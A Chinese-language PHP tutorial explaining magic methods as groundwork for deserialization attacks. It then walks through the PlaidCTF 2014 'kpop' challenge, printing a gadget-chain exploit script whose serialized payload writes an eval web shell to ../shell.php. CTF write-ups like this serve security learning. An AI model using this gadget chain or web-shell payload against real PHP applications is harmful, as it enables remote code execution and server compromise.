PHP反序列化入门之常见魔术方法

栏目: PHP · 发布时间: 5年前

内容简介:在学习PHP反序列化知识前,我们需要先了解一下PHP中的常见在使用在使用

在学习 PHP 反序列化知识前,我们需要先了解一下PHP中的常见 魔术方法 。PHP将所有以 __ (两个下划线)开头的类方法保留为魔术方法。所以在定义类方法时,除了上述魔术方法,建议不要以 __ 为前缀。

__sleep

在使用 serialize() 函数时,程序会检查类中是否存在一个 __sleep() 魔术方法。如果存在,则该方法会先被调用,然后再执行序列化操作。

__wakeup

在使用 unserialize() 时,会检查是否存在一个 __wakeup() 魔术方法。如果存在,则该方法会先被调用,预先准备对象需要的资源。

PHP反序列化入门之常见魔术方法

__toString

__toString() 方法用于定义一个类被当成字符串时该如何处理。

<?php
class TestClass
{
    public $foo;

    public function __construct($foo) 										 	    
    {
        $this->foo = $foo;
    }

    public function __toString() {
        return $this->foo;
    }
}

$class = new TestClass('Hello');
echo $class;   // 运行结果:Hello
?>

__invoke

当尝试以调用函数的方式调用一个对象时, __invoke() 方法会被自动调用。(本特性只在 PHP 5.3.0 及以上版本有效。)

<?php
class CallableClass 
{
    function __invoke($x) {
        var_dump($x);
    }
}
$obj = new CallableClass;
$obj(5);
var_dump(is_callable($obj));
?>

__construct

具有 __construct 函数的类会在每次创建新对象时先调用此方法,适合在使用对象之前做一些初始化工作。

__destruct

__destruct函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行

__set

给不可访问属性赋值时, __set() 会被调用。

__get

读取不可访问属性的值时, __get() 会被调用。

__isset

对不可访问属性调用 isset()empty() 时, __isset() 会被调用。

__unset

对不可访问属性调用 unset() 时, __unset() 会被调用。

__call

在对象中调用一个不可访问方法时, __call() 会被调用。

<?php
class MethodTest{
    public function __call($name, $arguments){
        // Note: value of $name is case sensitive.
        echo "Triggering __call method when calling  method '$name' with arguments '" . implode(', ', $arguments). "'.\n";
    }
}

$obj = new MethodTest;
$obj->callTest('arg1','arg2');

/*运行结果
Triggering __call method when calling  method 'callTest' with arguments 'arg1, arg2'.
*/
?>

__callStatic

在静态上下文中调用一个不可访问方法时, __callStatic() 会被调用。

<?php
class MethodTest{
    public static function __callStatic($name, $arguments){
        // Note: value of $name is case sensitive.
        echo "Triggering __call method when calling  method '$name' with arguments '" . implode(', ', $arguments). "'.\n";
    }
}

MethodTest::callStaticTest('arg3','arg4');  // As of PHP 5.3.0
/*运行结果
Triggering __call method when calling  method 'callStaticTest' with arguments 'arg3, arg4'.
*/
?>

例题一

我们以 plaidctf-2014kpop 题目为例,题目环境点 这里 下载。假设题目运行环境为PHP7,且 /var/www/html/kpop/logs/ 目录下的所有文件没有执行权限。我们把关注点放在 classes.php 文件。

PHP反序列化入门之常见魔术方法

很快,我们便发现了 Logger 类和 Song 类有一个相同名字的 log 方法,而且 Lyrics 类的 __destruct 方法调用了 log 方法。那么如果我们能找到可控的反序列化点,就可以利用程序原本提供的写日志功能进行写shell。

PHP反序列化入门之常见魔术方法

通过简单搜索,我们发现在 import.php 中,存在可利用的反序列化点。

PHP反序列化入门之常见魔术方法

我们使用如下程序生成 exp 即可获得写入 shell

<?php
class OutputFilter {
  ⋮
};

class LogFileFormat {
  ⋮
};

class LogWriter_File {
  ⋮
  function __construct($filename, $format) {
    // $this->filename = str_replace("..", "__", str_replace("/", "_", $filename));
    $this->filename = $filename;
    $this->format = $format;
  }
  ⋮
};

class Logger {
  ⋮
};

class Lyrics {
  ⋮
};

$filter = new OutputFilter("//i", "<?php eval(\$_POST[_]);?>");
$format = new LogFileFormat(array($filter), "\n");
$writer  = new LogWriter_File('../shell.php', $format);
$song = new Logger($writer);
$lyrics = new Lyrics(1, $song);
echo base64_encode(serialize($lyrics));

PHP反序列化入门之常见魔术方法

整个攻击思路可以总结成如下一张图:

PHP反序列化入门之常见魔术方法

例题二

这题讲的是 PHP__wakeup 函数的绕过,具体可以参考以往写的文章: PHP反序列化绕过__wakeup方法(PHP-Bug-72663)


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

妙趣横生的算法(C++语言实现)

妙趣横生的算法(C++语言实现)

胡浩 / 清华大学出版社 / 2014-10-1 / 59.80元

《妙趣横生的算法(C++语言实现)》内容丰富,生动有趣,寓教于乐,旨在帮助读者学习数据结构和算法的相关知识,从而开阔眼界,培养编程兴趣,提高编程能力,增强求职的竞争力。如果您想提高自己对算法和数据结构的理解能力,在程序设计之路上走得更远,那么请翻开《妙趣横生的算法(C++语言实现)》,仔细研读吧,它将助您一臂之力。 《妙趣横生的算法(C++语言实现)》以通俗易懂的语言深入浅出地介绍了常用的数......一起来看看 《妙趣横生的算法(C++语言实现)》 这本书的介绍吧!

JS 压缩/解压工具
JS 压缩/解压工具

在线压缩/解压 JS 代码

URL 编码/解码
URL 编码/解码

URL 编码/解码

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具